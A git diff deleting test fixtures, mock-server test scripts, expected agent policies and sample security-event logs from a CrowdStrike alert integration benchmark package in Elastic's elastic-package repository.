"fcs", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "severity": 40, - "severity_name": "Medium", - "show_in_ui": true, - "source": { - "account_name": "elastic-siem" - }, - "source_products": [ - "Falcon Cloud Security" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "Defense Evasion", - "tactic_id": "TA0005", - "technique": "Impair Defenses:Disable Cloud Logs", - "technique_id": "T1562.008", - "timestamp": "2026-01-27T20:34:37.000Z", - "type": "cloud-ioa", - "updated_timestamp": "2026-01-27T20:34:47.330Z", - "user_name": "user@example.com" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "id": "fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94", - "kind": "alert", - "original": "{\"attack_types\":[\"Defense Evasion\"],\"aws_access_key_id\":\"ASIA****************\",\"aws_recipient_account_id\":\"XXXXXXXXXXXX\",\"aws_user_account_id\":\"XXXXXXXXXXXX\",\"cid\":\"bdc3e3474d8848f1**************\",\"cloud_account_id\":\"XXXXXXXXXXXX\",\"cloud_provider\":\"aws\",\"cloud_region\":\"us-east-2\",\"composite_id\":\"bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"crawled_timestamp\":\"2026-01-27T20:34:47.330975395Z\",\"created_timestamp\":\"2026-01-27T20:34:47.330964263Z\",\"data_domains\":[\"Cloud\"],\"device\":{\"service_provider\":\"aws\",\"service_provider_account_id\":\"XXXXXXXXXXXX\"},\"display_name\":\"VPC flow logs disabled\",\"event_category\":\"Management\",\"event_count\":1,\"event_id\":\"09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"event_name\":\"DeleteFlowLogs\",\"event_source\":\"ec2.amazonaws.com\",\"event_type\":\"AwsApiCall\",\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/unified-detections/\",\"fcs_vertex_id\":\"206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94:ioa\",\"first_timestamp\":\"2026-01-27T20:25:22.94Z\",\"id\":\"fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"last_timestamp\":\"2026-01-27T20:25:22.94Z\",\"mfa_authenticated\":\"true\",\"mitre_attack\":[{\"pattern_id\":2036,\"tactic_id\":\"TA0005\",\"technique_id\":\"T1562.008\",\"tactic\":\"Defense Evasion\",\"technique\":\"Impair Defenses:Disable Cloud Logs\"}],\"name\":\"VPC flow logs disabled\",\"origin_cid\":\"bdc3e3474d8848f1**************\",\"pattern_id\":2036,\"policy_id\":\"206\",\"policy_statement\":\"VPC flow logs disabled\",\"poly_id\":\"\",\"product\":\"fcs\",\"request_parameters\":\"{\\\"DeleteFlowLogsRequest\\\":{\\\"FlowLogId\\\":{\\\"content\\\":\\\"fl-***************\\\",\\\"tag\\\":1}}}\",\"resource_gcrn\":\"bdc3e3474d8848f1**************|aws|XXXXXXXXXXXX|us-east-2|AWS::EC2::FlowLog|fl-***************\",\"resource_uuid\":\"\",\"response_elements\":\"{\\\"DeleteFlowLogsResponse\\\":{\\\"requestId\\\":\\\"\\\",\\\"unsuccessful\\\":\\\"\\\",\\\"xmlns\\\":\\\"http://ec2.amazonaws.com/doc/2016-11-15/\\\"}}\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"service\":\"VPC\",\"severity\":40,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_name\":\"elastic-siem\",\"source_ip_address\":\"34.194.234.218\",\"source_products\":[\"Falcon Cloud Security\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Defense Evasion\",\"tactic_id\":\"TA0005\",\"technique\":\"Impair Defenses:Disable Cloud Logs\",\"technique_id\":\"T1562.008\",\"timestamp\":\"2026-01-27T20:34:37Z\",\"type\":\"cloud-ioa\",\"updated_timestamp\":\"2026-01-27T20:34:47.330964263Z\",\"user_agent\":\"\",\"user_display_name\":\"user@example.com\",\"user_name\":\"user@example.com\",\"user_principal_id\":\"AIDA*************\"}", - "severity": 47 - }, - "related": { - "user": [ - "elastic-siem", - "user@example.com" - ] - }, - "source": { - "user": { - "name": "elastic-siem" - } - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields" - ], - "threat": { - "framework": "MITRE ATT&CK", - "tactic": { - "id": [ - "TA0005" - ], - "name": [ - "Defense Evasion" - ] - }, - "technique": { - "id": [ - "T1562.008" - ], - "name": [ - "Impair Defenses:Disable Cloud Logs" - ] - } - }, - "user": { - "name": "user@example.com" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml deleted file mode 100644 index be41bb0d47..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml +++ /dev/null @@ -1,4 +0,0 @@ -fields: - tags: - - preserve_original_event - - preserve_duplicate_custom_fields diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected deleted file mode 100644 index af6a6e323c..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected +++ /dev/null @@ -1,134 +0,0 @@ -inputs: - - data_stream: - namespace: ep - meta: - package: - name: crowdstrike - name: test-default-crowdstrike - streams: - - auth.oauth2: - client.id: test_client_id - client.secret: ${SECRET_0} - token_url: http://host.tld/oauth2/token - config_version: 2 - data_stream: - dataset: crowdstrike.alert - interval: 24h - program: |- - state.with( - ( - state.?want_more.orValue(false) ? - state.start_time - : - state.?cursor.last_timestamp.orValue( - (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) - ) - ).as(start_time, - post_request( - state.url.trim_right("/") + "/alerts/combined/alerts/v1?", - "application/json", - { - ?"after": state.?next.page_token, - "limit": int(state.batch_size), - "sort": "updated_timestamp|asc", - "filter": [ - "updated_timestamp:>'" + start_time + "'", - ?state.?query.optMap(q, "(" + q + ")"), - ].join("+"), - }.encode_json() - ).do_request().as(resp, (resp.StatusCode == 200) ? - resp.Body.decode_json().as(body, - (size(body.?errors.orValue([])) > 0) ? - { - "events": body.errors.map(error, - { - "error": { - "code": string(error.code), - "message": string(error.message), - }, - } - ), - "next": {}, - "want_more": false, - } - : - { - "events": has(body.resources) ? - body.resources.map(e, - { - "message": e.encode_json(), - } - ) - : - [], - "start_time": start_time, - "next": { - ?"page_token": body.?meta.pagination.after, - }, - "cursor": { - // The records are sorted in ascending order based on the value of updated_timestamp, - // in the next interval we start from the last event (newest) time. - ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? - optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) - : - state.?cursor.last_timestamp, - }, - "want_more": has(body.?meta.pagination.after), - } - ) - : - { - "events": { - "error": { - "code": string(resp.StatusCode), - "id": string(resp.Status), - "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( - (size(resp.Body) != 0) ? - string(resp.Body) - : - string(resp.Status) + " (" + string(resp.StatusCode) + ")" - ), - }, - }, - "next": {}, - "want_more": false, - } - ) - ) - ) - publisher_pipeline.disable_host: true - redact: - fields: null - resource.ssl: null - resource.timeout: 30s - resource.tracer: - enabled: false - filename: ../../logs/cel/http-request-trace-*.ndjson - maxbackups: 5 - resource.url: http://host.tld - state: - batch_size: 1000 - initial_interval: 24h - tags: - - preserve_original_event - - preserve_duplicate_custom_fields - - forwarded - - crowdstrike-alert - type: cel - use_output: default -output_permissions: - default: - _elastic_agent_checks: - cluster: - - monitor - _elastic_agent_monitoring: - indices: [] - uuid-for-permissions-on-related-indices: - indices: - - names: - - logs-crowdstrike.alert-ep - privileges: - - auto_configure - - create_doc -secret_references: - - {} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml deleted file mode 100644 index 58bbc1f403..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml +++ /dev/null @@ -1,9 +0,0 @@ -vars: - url: http://host.tld - client_id: test_client_id - client_secret: test_client_secret - token_url: http://host.tld/oauth2/token -data_stream: - vars: - preserve_original_event: true - preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected deleted file mode 100644 index dbe88b82e4..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected +++ /dev/null @@ -1,134 +0,0 @@ -inputs: - - data_stream: - namespace: ep - meta: - package: - name: crowdstrike - name: test-traced-crowdstrike - streams: - - auth.oauth2: - client.id: test_client_id - client.secret: ${SECRET_0} - token_url: http://host.tld/oauth2/token - config_version: 2 - data_stream: - dataset: crowdstrike.alert - interval: 24h - program: |- - state.with( - ( - state.?want_more.orValue(false) ? - state.start_time - : - state.?cursor.last_timestamp.orValue( - (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) - ) - ).as(start_time, - post_request( - state.url.trim_right("/") + "/alerts/combined/alerts/v1?", - "application/json", - { - ?"after": state.?next.page_token, - "limit": int(state.batch_size), - "sort": "updated_timestamp|asc", - "filter": [ - "updated_timestamp:>'" + start_time + "'", - ?state.?query.optMap(q, "(" + q + ")"), - ].join("+"), - }.encode_json() - ).do_request().as(resp, (resp.StatusCode == 200) ? - resp.Body.decode_json().as(body, - (size(body.?errors.orValue([])) > 0) ? - { - "events": body.errors.map(error, - { - "error": { - "code": string(error.code), - "message": string(error.message), - }, - } - ), - "next": {}, - "want_more": false, - } - : - { - "events": has(body.resources) ? - body.resources.map(e, - { - "message": e.encode_json(), - } - ) - : - [], - "start_time": start_time, - "next": { - ?"page_token": body.?meta.pagination.after, - }, - "cursor": { - // The records are sorted in ascending order based on the value of updated_timestamp, - // in the next interval we start from the last event (newest) time. - ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? - optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) - : - state.?cursor.last_timestamp, - }, - "want_more": has(body.?meta.pagination.after), - } - ) - : - { - "events": { - "error": { - "code": string(resp.StatusCode), - "id": string(resp.Status), - "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( - (size(resp.Body) != 0) ? - string(resp.Body) - : - string(resp.Status) + " (" + string(resp.StatusCode) + ")" - ), - }, - }, - "next": {}, - "want_more": false, - } - ) - ) - ) - publisher_pipeline.disable_host: true - redact: - fields: null - resource.ssl: null - resource.timeout: 30s - resource.tracer: - enabled: true - filename: ../../logs/cel/http-request-trace-*.ndjson - maxbackups: 5 - resource.url: http://host.tld - state: - batch_size: 1000 - initial_interval: 24h - tags: - - preserve_original_event - - preserve_duplicate_custom_fields - - forwarded - - crowdstrike-alert - type: cel - use_output: default -output_permissions: - default: - _elastic_agent_checks: - cluster: - - monitor - _elastic_agent_monitoring: - indices: [] - uuid-for-permissions-on-related-indices: - indices: - - names: - - logs-crowdstrike.alert-ep - privileges: - - auto_configure - - create_doc -secret_references: - - {} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml deleted file mode 100644 index 64c1d9d27e..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml +++ /dev/null @@ -1,10 +0,0 @@ -vars: - url: http://host.tld - client_id: test_client_id - client_secret: test_client_secret - token_url: http://host.tld/oauth2/token -data_stream: - vars: - enable_request_tracer: true - preserve_original_event: true - preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt deleted file mode 100644 index 7c7134fede..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt +++ /dev/null @@ -1,111 +0,0 @@ -# Test that the alert data stream handles a CrowdStrike API error response -# (HTTP 200 with a non-empty errors array) by emitting error events and -# stopping collection. -# -# CrowdStrike returns errors inside a 200 response body rather than via HTTP -# status codes. The CEL program checks body.errors and, when non-empty, -# maps each entry to an error event and sets want_more=false. - -[!external_stack] skip 'Skipping external stack test.' -[!exec:jq] skip 'Skipping test requiring absent jq command' - -# Connect to the running stack. -use_stack -profile ${CONFIG_PROFILES}/${PROFILE} - -# Install an agent. -install_agent -profile ${CONFIG_PROFILES}/${PROFILE} -network_name NETWORK_NAME - -# Start the mock CrowdStrike API server. -docker_up -profile ${CONFIG_PROFILES}/${PROFILE} -network ${NETWORK_NAME} cs-mock - -# Workaround for https://github.com/elastic/elastic-package/issues/3321: -# add_package passes the package dir as RepositoryRoot instead of the repo -# root, so the builder can't find licenses/Elastic-2.0.txt. Copy it into -# the package directory where the builder expects it. -exec mkdir -p ${PACKAGE_ROOT}/licenses -exec cp ${PACKAGE_ROOT}/../../licenses/Elastic-2.0.txt ${PACKAGE_ROOT}/licenses/Elastic-2.0.txt - -# Add the package resources. -add_package -profile ${CONFIG_PROFILES}/${PROFILE} - -# Add the data stream policy. -add_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} test_config.yaml DATA_STREAM_NAME - -# Wait for exactly 1 document (the error event). Use a longer confirm duration -# to verify no additional data events arrive. -get_docs -profile ${CONFIG_PROFILES}/${PROFILE} -want 1 -confirm 15s -timeout 5m ${DATA_STREAM_NAME} -cp stdout got_docs.json - -# The error event should reference the API error message. -exec jq -r '[.hits.hits[]._source.error.message // empty] | flatten | .[]' got_docs.json -stdout 'Access denied' - -# No alert data events should be present. -exec jq '[.hits.hits[]._source | select(.crowdstrike.alert != null)] | length' got_docs.json -stdout '^0$' - -# Clean up. -remove_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} ${DATA_STREAM_NAME} -uninstall_agent -profile ${CONFIG_PROFILES}/${PROFILE} -timeout 1m -docker_down cs-mock - -# Clean up license workaround (https://github.com/elastic/elastic-package/issues/3321). -exec rm -rf ${PACKAGE_ROOT}/licenses - --- test_config.yaml -- -input: cel -vars: - url: http://cs-mock:8080 - client_id: test-client-id - client_secret: test-client-secret - token_url: http://cs-mock:8080/oauth2/token -data_stream: - vars: - interval: 30s - initial_interval: 1h - batch_size: 10 - preserve_original_event: true - enable_request_tracer: false --- cs-mock/docker-compose.yml -- -version: '2.3' -services: - cs-mock: - image: docker.elastic.co/observability/stream:v0.20.0 - hostname: cs-mock - ports: - - 8080 - environment: - PORT: "8080" - volumes: - - ./config.yml:/config.yml - command: - - http-server - - --addr=:8080 - - --config=/config.yml --- cs-mock/config.yml -- -rules: - # OAuth2 token endpoint: returns a valid access token. - - path: /oauth2/token - methods: [POST] - responses: - - status_code: 200 - headers: - Content-Type: - - "application/json" - body: |- - {"access_token":"test-token","expires_in":3600,"token_type":"Bearer"} - - # Alerts endpoint: returns 200 with a non-empty errors array. - # CrowdStrike uses this pattern for permission and scope errors. - - path: /alerts/combined/alerts/v1 - methods: [POST] - request_headers: - Authorization: - - "Bearer test-token" - responses: - - status_code: 200 - headers: - Content-Type: - - "application/json" - body: |- - {"meta":{"pagination":{"total":0,"limit":10}},"errors":[{"code":403,"message":"Access denied: insufficient scope for this action"}],"resources":[]} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt deleted file mode 100644 index 4c2c31eee8..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt +++ /dev/null @@ -1,25 +0,0 @@ -[!exec:echo] skip 'Skipping test requiring absent echo command' - -exec echo ${CONFIG_ROOT} -stdout '/\.elastic-package$' - -exec echo ${CONFIG_PROFILES} -stdout '/\.elastic-package/profiles$' - -exec echo ${PACKAGE_NAME} -stdout '^crowdstrike$' - -exec echo ${PACKAGE_ROOT} -stdout '/packages/crowdstrike$' - -exec echo ${DATA_STREAM} -stdout '^alert$' - -exec echo ${DATA_STREAM_ROOT} -stdout '/packages/crowdstrike/data_stream/alert$' - -exec echo ${CURRENT_VERSION} -stdout '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$' - -exec echo ${PREVIOUS_VERSION} -stdout '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt deleted file mode 100644 index 4d8aef78eb..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt +++ /dev/null @@ -1,110 +0,0 @@ -# Test that the alert data stream handles an HTTP 401 Unauthorized response -# by emitting an error event and stopping collection. -# -# A non-200 HTTP response causes the CEL program to emit a single error event -# with error.code set to the HTTP status code and want_more=false. - -[!external_stack] skip 'Skipping external stack test.' -[!exec:jq] skip 'Skipping test requiring absent jq command' - -# Connect to the running stack. -use_stack -profile ${CONFIG_PROFILES}/${PROFILE} - -# Install an agent. -install_agent -profile ${CONFIG_PROFILES}/${PROFILE} -network_name NETWORK_NAME - -# Start the mock CrowdStrike API server. -docker_up -profile ${CONFIG_PROFILES}/${PROFILE} -network ${NETWORK_NAME} cs-mock - -# Workaround for https://github.com/elastic/elastic-package/issues/3321: -# add_package passes the package dir as RepositoryRoot instead of the repo -# root, so the builder can't find licenses/Elastic-2.0.txt. Copy it into -# the package directory where the builder expects it. -exec mkdir -p ${PACKAGE_ROOT}/licenses -exec cp ${PACKAGE_ROOT}/../../licenses/Elastic-2.0.txt ${PACKAGE_ROOT}/licenses/Elastic-2.0.txt - -# Add the package resources. -add_package -profile ${CONFIG_PROFILES}/${PROFILE} - -# Add the data stream policy. -add_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} test_config.yaml DATA_STREAM_NAME - -# Wait for exactly 1 document (the error event). Use a longer confirm duration -# to verify no additional data events arrive. -get_docs -profile ${CONFIG_PROFILES}/${PROFILE} -want 1 -confirm 15s -timeout 5m ${DATA_STREAM_NAME} -cp stdout got_docs.json - -# Verify the error message indicates the 401 response. -exec jq -r '.hits.hits[0]._source.error.message' got_docs.json -stdout 'Unauthorized' - -# The error message should reference the alerts endpoint. -exec jq -r '.hits.hits[0]._source.error.message' got_docs.json -stdout 'alerts/combined/alerts/v1' - -# No alert data events should be present. -exec jq '[.hits.hits[]._source | select(.crowdstrike.alert != null)] | length' got_docs.json -stdout '^0$' - -# Clean up. -remove_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} ${DATA_STREAM_NAME} -uninstall_agent -profile ${CONFIG_PROFILES}/${PROFILE} -timeout 1m -docker_down cs-mock - -# Clean up license workaround (https://github.com/elastic/elastic-package/issues/3321). -exec rm -rf ${PACKAGE_ROOT}/licenses - --- test_config.yaml -- -input: cel -vars: - url: http://cs-mock:8080 - client_id: test-client-id - client_secret: test-client-secret - token_url: http://cs-mock:8080/oauth2/token -data_stream: - vars: - interval: 30s - initial_interval: 1h - batch_size: 10 - preserve_original_event: true - enable_request_tracer: false --- cs-mock/docker-compose.yml -- -version: '2.3' -services: - cs-mock: - image: docker.elastic.co/observability/stream:v0.20.0 - hostname: cs-mock - ports: - - 8080 - environment: - PORT: "8080" - volumes: - - ./config.yml:/config.yml - command: - - http-server - - --addr=:8080 - - --config=/config.yml --- cs-mock/config.yml -- -rules: - # OAuth2 token endpoint: returns a valid access token. - - path: /oauth2/token - methods: [POST] - responses: - - status_code: 200 - headers: - Content-Type: - - "application/json" - body: |- - {"access_token":"test-token","expires_in":3600,"token_type":"Bearer"} - - # Alerts endpoint: returns 401 Unauthorized (invalid credentials). - # The CEL program emits an error event with error.code="401" and want_more=false. - - path: /alerts/combined/alerts/v1 - methods: [POST] - responses: - - status_code: 401 - headers: - Content-Type: - - "application/json" - body: |- - {"errors":[{"code":401,"message":"Unauthorized: invalid client credentials"}],"resources":[]} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml deleted file mode 100644 index 7bdfd95a91..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml +++ /dev/null @@ -1,15 +0,0 @@ -input: cel -service: crowdstrike-alert -vars: - url: http://{{Hostname}}:{{Port}} - client_id: xxxx - client_secret: xxxx - token_url: http://{{Hostname}}:{{Port}}/oauth2/token -data_stream: - vars: - interval: 10s - batch_size: 1 - preserve_original_event: true - preserve_duplicate_custom_fields: true -assert: - hit_count: 3 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml deleted file mode 100644 index 30a2b50cf6..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml +++ /dev/null @@ -1 +0,0 @@ -num_docs: 10000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log deleted file mode 100644 index da66f7f084..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log +++ /dev/null @@ -1,9 +0,0 @@ -{"metadata":{"customerIDString":"abcabcabc22222","offset":8693900,"eventType":"FirewallMatchEvent","eventCreationTime":1698921571000,"version":"1.0"},"event":{"DeviceId":"6734ff444f4456","CustomerId":"abcabcabc22222","Ipv":"ipv4","CommandLine":"System","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":true,"Monitor":true},"HostName":"INPUNEDITCLP229","ICMPCode":"","ICMPType":"","ImageFileName":"System","LocalAddress":"81.2.69.142","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"11111111","PolicyName":"PROD-FW-Workstations-Office-20201001","PolicyID":"3ec266b28bef471f9fd990e4f39ac829","Protocol":"6","RemoteAddress":"81.2.69.142","RemotePort":"53452","RuleAction":"2","RuleDescription":"","RuleFamilyID":"11111111aaaaaaaa","RuleGroupName":"SMBRules","RuleName":"InboundSMBBlock\u0026LogPrivate","RuleId":"4877172638743447345","Status":"","Timestamp":"2023-11-02T10:39:29Z","TreeID":"","Platform":"windows"}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8693906,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1698921607000,"version":"1.0"},"event":{"ContextTimeStamp":133433951380000000,"DetectId":"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged into a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222","StartTime":133433949600000000,"EndTime":133433949600000000,"Severity":34,"SeverityName":"Low","Tactic":"InitialAccess","Technique":"ValidAccounts","Objective":"Gain Access","SourceAccountDomain":"NA.AAA.ABC.com","SourceAccountName":"abc.service","SourceAccountUpn":"admin.service@example.com","SourceAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-175881","SourceEndpointAccountObjectGuid":"C078A5DA-E13B-4418-AA28-802EF8C16210","SourceEndpointAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-316681","SourceEndpointHostName":"nope122.na.net.ABC.com","SourceEndpointIpAddress":"81.2.69.142","SourceEndpointSensorId":"a2f1de586958434eb5e14e30214e17ed","ActivityId":"76CC8396-7148-4CEB-84CB-08FAFE4FAC37","PatternId":51135,"SourceVendors":"CrowdStrike","SourceProducts":"FalconIdentityProtection","DataDomains":"Identity"}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8694126,"eventType":"IdentityProtectionEvent","eventCreationTime":1698923523065,"version":"1.0"},"event":{"IncidentType":"Unusuallogintoanendpoint","IncidentDescription":"Unusuallogintoanendpoint","Severity":4,"SeverityName":"LOW","StartTime":1698923340000,"EndTime":1698923340000,"IdentityProtectionIncidentId":"7a79b2de-4e10-41fb-818f-2bdf53c1625a","UserName":"NA.NET.ABC.com\\abc.service","EndpointName":"itreg1d3wp8vh3.eu.net.ABC.com","EndpointIp":"","Category":"Detections","NumbersOfAlerts":1,"NumberOfCompromisedEntities":2,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A"}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8694676,"eventType":"AuthActivityAuditEvent","eventCreationTime":1698927699286,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"saml2Assert","ServiceName":"CrowdstrikeAuthentication","Success":true,"UTCTimestamp":1698927699,"AuditKeyValues":[{"Key":"target_user","ValueString":"admin.rose@example.com"},{"Key":"trace_id","ValueString":"19169200-76c5-4861-92f1-355d0a908f40"},{"Key":"saml_envelope","ValueString":"SampleValue"},{"Key":"saml_assertion","ValueString":"sampleassertion"},{"Key":"app_id","ValueString":"fa8e047e-2e60-4837-b987-c57020947cd6"},{"Key":"actor_user","ValueString":"admin.rose@example.com"},{"Key":"actor_user_uuid","ValueString":"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb"},{"Key":"actor_cid","ValueString":"abcabcabc22222"}],"Attributes":{"actor_cid":"abcabcabc22222","actor_user":"admin.rose@example.com","actor_user_uuid":"00000000-aaaa-480b-a05a-bb94ff5dc0fb","app_id":"aaaaaaaa-2e60-4837-b987-c57020947cd6","saml_assertion":"saml_assertion_sample","target_user":"admin.rose@example.com","trace_id":"000000-76c5-4861-92f1-355d0a908f40"}}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8694733,"eventType":"UserActivityAuditEvent","eventCreationTime":1698928127000,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"reveal_token","ServiceName":"sensor_update_policy","AuditKeyValues":[{"Key":"device_id","ValueString":"abcancancbanjjagjaj"},{"Key":"seedID","ValueString":"101"},{"Key":"message","ValueString":"Removeduplicatesensor."}],"UTCTimestamp":1698928127,"Attributes":{"device_id":"afjafanfafasfjaf","message":"Removeduplicatesensor.","seedID":"101"}}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8694992,"eventType":"ScheduledReportNotificationEvent","eventCreationTime":1698930172000,"version":"1.0"},"event":{"UserUUID":"9999999-bc3c-99bb-a05a-bb94ff5dc0fb","UserID":"admin.rose@example.com","ExecutionID":"efghtigh","ReportID":"999999ddddddddd","ReportName":"LarouxSearch","ReportType":"event_search","ReportFileReference":"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444","Status":1,"StatusMessage":"message","ExecutionMetadata":{"ExecutionStart":1698930019000,"ExecutionDuration":152176,"ReportFileName":"Laroux_Search_2023_November_2_13017_34176.csv","ResultCount":0,"ResultID":"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=","SearchWindowStart":1698843600000,"SearchWindowEnd":1698930000000}}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8695284,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}} 